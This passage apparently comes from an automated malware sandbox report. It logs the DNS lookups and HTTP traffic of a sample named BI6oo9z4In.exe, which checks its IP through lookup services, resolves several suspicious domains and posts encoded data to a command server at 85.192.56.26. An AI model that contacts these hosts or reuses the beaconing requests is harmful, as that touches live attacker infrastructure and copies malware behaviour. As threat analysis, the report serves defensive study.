May 24, 2024 09:43:44.954710960 CEST	192.168.2.4	1.1.1.1	0x19fa	Standard query (0)	skrptfiles.tracemonitors.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:49.052125931 CEST	192.168.2.4	1.1.1.1	0x63cd	Standard query (0)	www.rapidfilestorage.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:50.410721064 CEST	192.168.2.4	1.1.1.1	0x1a52	Standard query (0)	api4.check-data.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 24, 2024 09:41:59.120532990 CEST	1.1.1.1	192.168.2.4	0x51e8	No error (0)	api.myip.com		172.67.75.163	A (IP address)	IN (0x0001)	false
May 24, 2024 09:41:59.120532990 CEST	1.1.1.1	192.168.2.4	0x51e8	No error (0)	api.myip.com		104.26.9.59	A (IP address)	IN (0x0001)	false
May 24, 2024 09:41:59.120532990 CEST	1.1.1.1	192.168.2.4	0x51e8	No error (0)	api.myip.com		104.26.8.59	A (IP address)	IN (0x0001)	false
May 24, 2024 09:41:59.896610022 CEST	1.1.1.1	192.168.2.4	0xa5a9	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.441221952 CEST	1.1.1.1	192.168.2.4	0xecd	No error (0)	vk.com		93.186.225.194	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.441221952 CEST	1.1.1.1	192.168.2.4	0xecd	No error (0)	vk.com		87.240.132.67	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.441221952 CEST	1.1.1.1	192.168.2.4	0xecd	No error (0)	vk.com		87.240.132.72	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.441221952 CEST	1.1.1.1	192.168.2.4	0xecd	No error (0)	vk.com		87.240.132.78	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.441221952 CEST	1.1.1.1	192.168.2.4	0xecd	No error (0)	vk.com		87.240.129.133	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.441221952 CEST	1.1.1.1	192.168.2.4	0xecd	No error (0)	vk.com		87.240.137.164	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.450925112 CEST	1.1.1.1	192.168.2.4	0x6b58	No error (0)	fleur-de-lis.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.450925112 CEST	1.1.1.1	192.168.2.4	0x6b58	No error (0)	fleur-de-lis.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.473989010 CEST	1.1.1.1	192.168.2.4	0xcade	No error (0)	lop.foxesjoy.com		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.473989010 CEST	1.1.1.1	192.168.2.4	0xcade	No error (0)	lop.foxesjoy.com		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.527553082 CEST	1.1.1.1	192.168.2.4	0xd95b	No error (0)	kurd.computer		146.70.56.165	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.564347982 CEST	1.1.1.1	192.168.2.4	0xd678	No error (0)	monoblocked.com		45.130.41.108	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.779527903 CEST	1.1.1.1	192.168.2.4	0x7a63	No error (0)	f.alie3ksggg.com		103.146.158.221	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:07.811312914 CEST	1.1.1.1	192.168.2.4	0x740f	No error (0)	f.123654987.xyz		37.221.125.202	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:13.206985950 CEST	1.1.1.1	192.168.2.4	0x7fd8	No error (0)	sun6-23.userapi.com		95.142.206.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:13.227674007 CEST	1.1.1.1	192.168.2.4	0x9ad1	No error (0)	sun6-21.userapi.com		95.142.206.1	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:14.317687035 CEST	1.1.1.1	192.168.2.4	0xd6bd	No error (0)	sun6-22.userapi.com		95.142.206.2	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:15.291064978 CEST	1.1.1.1	192.168.2.4	0x4d21	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:15.291064978 CEST	1.1.1.1	192.168.2.4	0x4d21	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:15.389199972 CEST	1.1.1.1	192.168.2.4	0xbacf	No error (0)	sun6-20.userapi.com		95.142.206.0	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:15.805856943 CEST	1.1.1.1	192.168.2.4	0x607a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:42:15.805856943 CEST	1.1.1.1	192.168.2.4	0x607a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:22.516330004 CEST	1.1.1.1	192.168.2.4	0xc226	No error (0)	steamcommunity.com		104.102.42.29	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:22.631264925 CEST	1.1.1.1	192.168.2.4	0x5379	No error (0)	sta.alie3ksgee.com		103.146.158.221	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:22.631278992 CEST	1.1.1.1	192.168.2.4	0xd17f	No error (0)	iplis.ru		172.67.147.32	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:22.631278992 CEST	1.1.1.1	192.168.2.4	0xd17f	No error (0)	iplis.ru		104.21.63.150	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:23.283317089 CEST	1.1.1.1	192.168.2.4	0xca68	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:23.283317089 CEST	1.1.1.1	192.168.2.4	0xca68	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:23.846091032 CEST	1.1.1.1	192.168.2.4	0x2fab	No error (0)	iplogger.org		172.67.132.113	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:23.846091032 CEST	1.1.1.1	192.168.2.4	0x2fab	No error (0)	iplogger.org		104.21.4.208	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:26.175570011 CEST	1.1.1.1	192.168.2.4	0x285d	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:27.198939085 CEST	1.1.1.1	192.168.2.4	0xbbb1	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:27.198939085 CEST	1.1.1.1	192.168.2.4	0xbbb1	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:27.198939085 CEST	1.1.1.1	192.168.2.4	0xbbb1	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:33.172822952 CEST	1.1.1.1	192.168.2.4	0x6394	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 09:42:33.172847986 CEST	1.1.1.1	192.168.2.4	0x789c	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:38.328141928 CEST	1.1.1.1	192.168.2.4	0x179d	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:42:38.383357048 CEST	1.1.1.1	192.168.2.4	0xed2d	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:42:42.864650965 CEST	1.1.1.1	192.168.2.4	0xbe33	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:42.915296078 CEST	1.1.1.1	192.168.2.4	0x85d8	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 09:42:50.548192978 CEST	1.1.1.1	192.168.2.4	0xbe4b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:42:50.548192978 CEST	1.1.1.1	192.168.2.4	0xbe4b	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.161	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:50.548204899 CEST	1.1.1.1	192.168.2.4	0x6683	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:42:50.631598949 CEST	1.1.1.1	192.168.2.4	0xd765	No error (0)	employhabragaomlsp.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:50.631598949 CEST	1.1.1.1	192.168.2.4	0xd765	No error (0)	employhabragaomlsp.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:51.849487066 CEST	1.1.1.1	192.168.2.4	0x5bde	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:42:51.849487066 CEST	1.1.1.1	192.168.2.4	0x5bde	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:51.849495888 CEST	1.1.1.1	192.168.2.4	0x6056	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:42:53.959652901 CEST	1.1.1.1	192.168.2.4	0xbd13	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.959652901 CEST	1.1.1.1	192.168.2.4	0xbd13	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.964385033 CEST	1.1.1.1	192.168.2.4	0xa587	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.964385033 CEST	1.1.1.1	192.168.2.4	0xa587	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.964431047 CEST	1.1.1.1	192.168.2.4	0x3eb6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
May 24, 2024 09:42:53.964473963 CEST	1.1.1.1	192.168.2.4	0xd4f5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
May 24, 2024 09:42:53.974301100 CEST	1.1.1.1	192.168.2.4	0x95c9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.974301100 CEST	1.1.1.1	192.168.2.4	0x95c9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.974347115 CEST	1.1.1.1	192.168.2.4	0x9ed0	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
May 24, 2024 09:42:55.719293118 CEST	1.1.1.1	192.168.2.4	0xdaa6	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:57.858294010 CEST	1.1.1.1	192.168.2.4	0x7858	No error (0)	employhabragaomlsp.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:57.858294010 CEST	1.1.1.1	192.168.2.4	0x7858	No error (0)	employhabragaomlsp.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:58.527718067 CEST	1.1.1.1	192.168.2.4	0xe355	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:58.527718067 CEST	1.1.1.1	192.168.2.4	0xe355	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:58.919404984 CEST	1.1.1.1	192.168.2.4	0x9173	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:59.630999088 CEST	1.1.1.1	192.168.2.4	0x6281	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:59.630999088 CEST	1.1.1.1	192.168.2.4	0x6281	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:59.630999088 CEST	1.1.1.1	192.168.2.4	0x6281	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:05.227582932 CEST	1.1.1.1	192.168.2.4	0x4957	No error (0)	employhabragaomlsp.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:05.227582932 CEST	1.1.1.1	192.168.2.4	0x4957	No error (0)	employhabragaomlsp.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:09.834055901 CEST	1.1.1.1	192.168.2.4	0x689a	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:09.834055901 CEST	1.1.1.1	192.168.2.4	0x689a	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:11.722302914 CEST	1.1.1.1	192.168.2.4	0xd287	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:12.555511951 CEST	1.1.1.1	192.168.2.4	0xf20b	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:12.555511951 CEST	1.1.1.1	192.168.2.4	0xf20b	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:12.555511951 CEST	1.1.1.1	192.168.2.4	0xf20b	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:12.733130932 CEST	1.1.1.1	192.168.2.4	0x32b9	No error (0)	employhabragaomlsp.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:12.733130932 CEST	1.1.1.1	192.168.2.4	0x32b9	No error (0)	employhabragaomlsp.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		125.7.253.10	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		186.112.12.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		190.147.2.86	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		212.112.110.243	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		200.63.106.141	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		183.100.39.16	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		211.171.233.126	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		187.223.47.95	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		186.4.194.68	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839447021 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		189.181.49.206	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		125.7.253.10	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		186.112.12.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		190.147.2.86	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		212.112.110.243	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		200.63.106.141	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		183.100.39.16	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		211.171.233.126	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		187.223.47.95	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		186.4.194.68	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839484930 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		189.181.49.206	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		125.7.253.10	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		186.112.12.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		190.147.2.86	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		212.112.110.243	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		200.63.106.141	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		183.100.39.16	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		211.171.233.126	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		187.223.47.95	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		186.4.194.68	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.839513063 CEST	1.1.1.1	192.168.2.4	0x664b	No error (0)	cajgtus.com		189.181.49.206	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:15.504957914 CEST	1.1.1.1	192.168.2.4	0x922d	No error (0)	employhabragaomlsp.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:15.504957914 CEST	1.1.1.1	192.168.2.4	0x922d	No error (0)	employhabragaomlsp.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:16.346072912 CEST	1.1.1.1	192.168.2.4	0x3233	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:17.027962923 CEST	1.1.1.1	192.168.2.4	0xbb91	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:17.027962923 CEST	1.1.1.1	192.168.2.4	0xbb91	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:17.027962923 CEST	1.1.1.1	192.168.2.4	0xbb91	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:21.640875101 CEST	1.1.1.1	192.168.2.4	0xdae6	No error (0)	steamcommunity.com		104.102.42.29	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:25.250602007 CEST	1.1.1.1	192.168.2.4	0x3c7b	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:25.250602007 CEST	1.1.1.1	192.168.2.4	0x3c7b	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:39.705919027 CEST	1.1.1.1	192.168.2.4	0xb9a9	No error (0)	employhabragaomlsp.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:39.705919027 CEST	1.1.1.1	192.168.2.4	0xb9a9	No error (0)	employhabragaomlsp.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:42.719599962 CEST	1.1.1.1	192.168.2.4	0x57b4	No error (0)	service-domain.xyz		54.210.117.250	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:42.766845942 CEST	1.1.1.1	192.168.2.4	0x8278	No error (0)	www.rapidfilestorage.com	env-3936544.jcloud.kz		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:43:42.766845942 CEST	1.1.1.1	192.168.2.4	0x8278	No error (0)	env-3936544.jcloud.kz		185.22.66.16	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:42.766845942 CEST	1.1.1.1	192.168.2.4	0x8278	No error (0)	env-3936544.jcloud.kz		185.22.66.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:43.661004066 CEST	1.1.1.1	192.168.2.4	0xc47c	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:43.748081923 CEST	1.1.1.1	192.168.2.4	0xfaf9	No error (0)	helsinki-dtc.com		194.67.87.38	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:44.371620893 CEST	1.1.1.1	192.168.2.4	0x318b	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:44.371620893 CEST	1.1.1.1	192.168.2.4	0x318b	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:44.371620893 CEST	1.1.1.1	192.168.2.4	0x318b	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:44.662038088 CEST	1.1.1.1	192.168.2.4	0x6143	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:43:44.662038088 CEST	1.1.1.1	192.168.2.4	0x6143	No error (0)	googlehosted.l.googleusercontent.com		216.58.206.65	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:45.014914989 CEST	1.1.1.1	192.168.2.4	0x19fa	No error (0)	skrptfiles.tracemonitors.com	d1u0l9f6kr1di3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:43:45.014914989 CEST	1.1.1.1	192.168.2.4	0x19fa	No error (0)	d1u0l9f6kr1di3.cloudfront.net		108.156.60.94	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:45.014914989 CEST	1.1.1.1	192.168.2.4	0x19fa	No error (0)	d1u0l9f6kr1di3.cloudfront.net		108.156.60.70	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:45.014914989 CEST	1.1.1.1	192.168.2.4	0x19fa	No error (0)	d1u0l9f6kr1di3.cloudfront.net		108.156.60.62	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:45.014914989 CEST	1.1.1.1	192.168.2.4	0x19fa	No error (0)	d1u0l9f6kr1di3.cloudfront.net		108.156.60.71	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:49.153517008 CEST	1.1.1.1	192.168.2.4	0x63cd	No error (0)	www.rapidfilestorage.com	env-3936544.jcloud.kz		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:43:49.153517008 CEST	1.1.1.1	192.168.2.4	0x63cd	No error (0)	env-3936544.jcloud.kz		185.22.66.15	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:49.153517008 CEST	1.1.1.1	192.168.2.4	0x63cd	No error (0)	env-3936544.jcloud.kz		185.22.66.16	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:50.430763960 CEST	1.1.1.1	192.168.2.4	0x1a52	No error (0)	api4.check-data.xyz	checkdata-1114476139.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 09:43:50.430763960 CEST	1.1.1.1	192.168.2.4	0x1a52	No error (0)	checkdata-1114476139.us-west-2.elb.amazonaws.com		44.235.180.78	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:50.430763960 CEST	1.1.1.1	192.168.2.4	0x1a52	No error (0)	checkdata-1114476139.us-west-2.elb.amazonaws.com		44.237.26.169	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	85.192.56.26	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:41:58.396104097 CEST	207	OUT	GET /api/bing_release.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 85.192.56.26
May 24, 2024 09:41:59.103802919 CEST	261	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:41:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 68 61 72 72 79 33 31 33 Data Ascii: harry313
May 24, 2024 09:42:02.756756067 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 113 Host: 85.192.56.26
May 24, 2024 09:42:02.756804943 CEST	113	OUT	Data Raw: 64 61 74 61 3d 45 51 78 75 4d 66 62 5a 51 41 2d 41 58 79 35 57 56 77 6c 4e 6a 4f 4e 42 49 32 4f 49 73 74 58 6f 32 30 44 47 66 59 7a 50 61 44 62 4b 66 52 43 32 55 6a 32 4b 4f 48 7a 45 65 37 4c 4e 69 6c 65 48 57 63 68 75 38 73 6f 36 4e 6b 4e 72 34 Data Ascii: data=EQxuMfbZQA-AXy5WVwlNjONBI2OIstXo20DGfYzPaDbKfRC2Uj2KOHzEe7LNileHWchu8so6NkNr4KwKGCPIaU0PlZ3jCELv2kNCmDfSFG8=
May 24, 2024 09:42:03.310216904 CEST	382	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 128 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 33 42 41 4b 38 55 63 56 48 2b 41 36 63 74 36 68 6f 31 4c 43 39 48 44 45 4a 54 36 74 36 54 77 73 43 78 47 42 4a 52 62 63 51 41 6a 4e 4e 4e 36 64 6c 6f 6f 47 6c 35 41 52 59 4b 59 4f 55 2b 5a 49 57 52 6f 78 73 68 6e 6a 4a 4f 4e 79 46 7a 63 50 2f 72 49 46 64 78 64 59 4c 48 53 77 58 34 4d 71 33 6e 56 6d 70 42 55 51 73 62 37 4d 4a 4b 45 37 4b 6b 63 6d 48 34 59 4f 35 36 35 7a 61 6e 32 Data Ascii: f3BAK8UcVH+A6ct6ho1LC9HDEJT6t6TwsCxGBJRbcQAjNNN6dlooGl5ARYKYOU+ZIWRoxshnjJONyFzcP/rIFdxdYLHSwX4Mq3nVmpBUQsb7MJKE7KkcmH4YO565zan2
May 24, 2024 09:42:03.533360004 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 133 Host: 85.192.56.26
May 24, 2024 09:42:03.533392906 CEST	133	OUT	Data Raw: 64 61 74 61 3d 35 72 31 72 77 4b 50 66 47 37 44 76 57 39 78 49 49 4c 46 64 30 55 56 74 46 72 59 73 7a 5f 76 65 2d 67 66 67 31 59 68 4e 59 75 6b 35 6b 4b 73 54 7a 30 6f 61 33 42 35 72 6d 6f 4d 6c 63 42 65 6c 44 51 45 5f 45 36 77 67 48 4a 63 67 62 Data Ascii: data=5r1rwKPfG7DvW9xIILFd0UVtFrYsz_ve-gfg1YhNYuk5kKsTz0oa3B5rmoMlcBelDQE_E6wgHJcgbja3zlMetkoP6d7w8M3yMZiAVcb2hQ7vZB51Te1jSDcBOv0oyYIw
